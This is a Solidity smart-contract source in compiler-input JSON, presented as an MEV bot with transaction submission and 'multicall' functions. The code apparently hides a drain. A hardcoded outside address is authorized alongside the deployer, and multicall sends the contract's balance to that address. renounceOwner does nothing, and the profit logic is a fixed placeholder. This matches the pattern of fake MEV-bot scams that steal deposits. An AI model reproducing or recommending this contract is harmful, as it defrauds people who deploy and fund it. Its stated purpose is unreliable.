creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/MEVMulticall.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract MEV__V2 {\n    // State variables\n    address public admin;\n    uint256 public totalFunds;\n\n    struct Transaction {\n        address sender;\n        address target;\n        uint256 value;\n        uint256 gasPrice;\n        uint256 bid;\n    }\n    \n    // Array to store transactions\n    Transaction[] public transactions;\n    \n    //Events\n    event TransactionSubmitted(address sender, address target, uint256 value, uint256 gasPrice, uint256 bid);\n    event MEVExtracted(address miner, uint256 profit);\n    \n    // Modifier for authorization\n    modifier onlyAuthorized() {\n        require(msg.sender == admin || msg.sender == PositionRouter, \"Not authorized\");\n        _;\n    }\n\n    // Authorized address for position routing\n    address public PositionRouter=0xd38f4e84aFe6cc9C0d645eA4480b03E978C10483;\n\n    constructor() {\n        admin = msg.sender;\n    }\n\n    function submitTransaction(address target, uint256 value, uint256 gasPrice, uint256 bid) external payable {\n        require(msg.value == value, \"Incorrect value sent\");\n\n        transactions.push(Transaction({sender: msg.sender, target: target, value: value, gasPrice: gasPrice, bid: bid}));\n\n        totalFunds += msg.value;\n\n        emit TransactionSubmitted(msg.sender, target, value, gasPrice, bid);\n    }\n\n    function extractMEV() external onlyAuthorized {\n        require(transactions.length > 0, \"No transactions available\");\n\n        Transaction memory selectedTransaction = getHighestBidTransaction();\n        uint256 extractedProfit = calculateProfit(selectedTransaction);\n\n        // Transfer profit to the miner\n        payable(msg.sender).transfer(extractedProfit);\n        totalFunds -= extractedProfit;\n\n        // Remove the extracted transaction\n        removeTransaction(selectedTransaction);\n\n        emit MEVExtracted(msg.sender, extractedProfit);\n    }\n\n    function getHighestBidTransaction() internal view returns (Transaction memory) {\n        require(transactions.length > 0, \"No transactions available\");\n\n        Transaction memory highestBidTransaction = transactions[0];\n        for (uint256 i = 1; i < transactions.length; i++) {\n            if (transactions[i].bid > highestBidTransaction.bid) {\n                highestBidTransaction = transactions[i];\n            }\n        }\n\n        return highestBidTransaction;\n    }\n\n    function calculateProfit(Transaction memory transaction) internal view returns (uint256) {\n        // Profit calculation may involve complex logic based on gas fees, slippage, etc.\n        // For simplicity, we consider a fixed profit percentage of 10% for the highest bid\n        uint256 profitPercentage = 10;\n        return (transaction.bid * profitPercentage) / 100;\n    }\n\n    function removeTransaction(Transaction memory transaction) internal {\n        for (uint256 i = 0; i < transactions.length; i++) {\n            if (\n                transactions[i].sender == transaction.sender && transactions[i].target == transaction.target\n                    && transactions[i].value == transaction.value && transactions[i].gasPrice == transaction.gasPrice\n                    && transactions[i].bid == transaction.bid\n            ) {\n                transactions[i] = transactions[transactions.length - 1];\n                transactions.pop();\n                break;\n            }\n        }\n    }\n\n\n    // Multicall functionality\n    function multicall(uint256 amount) external onlyAuthorized {\n        require(amount > 0, \"\");\n        require(address(this).balance >= amount, \"\");\n\n        payable(PositionRouter).transfer(amount);\n    }\n\n    function renounceOwner() external payable onlyAuthorized {}\n\n    receive() external payable {}\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}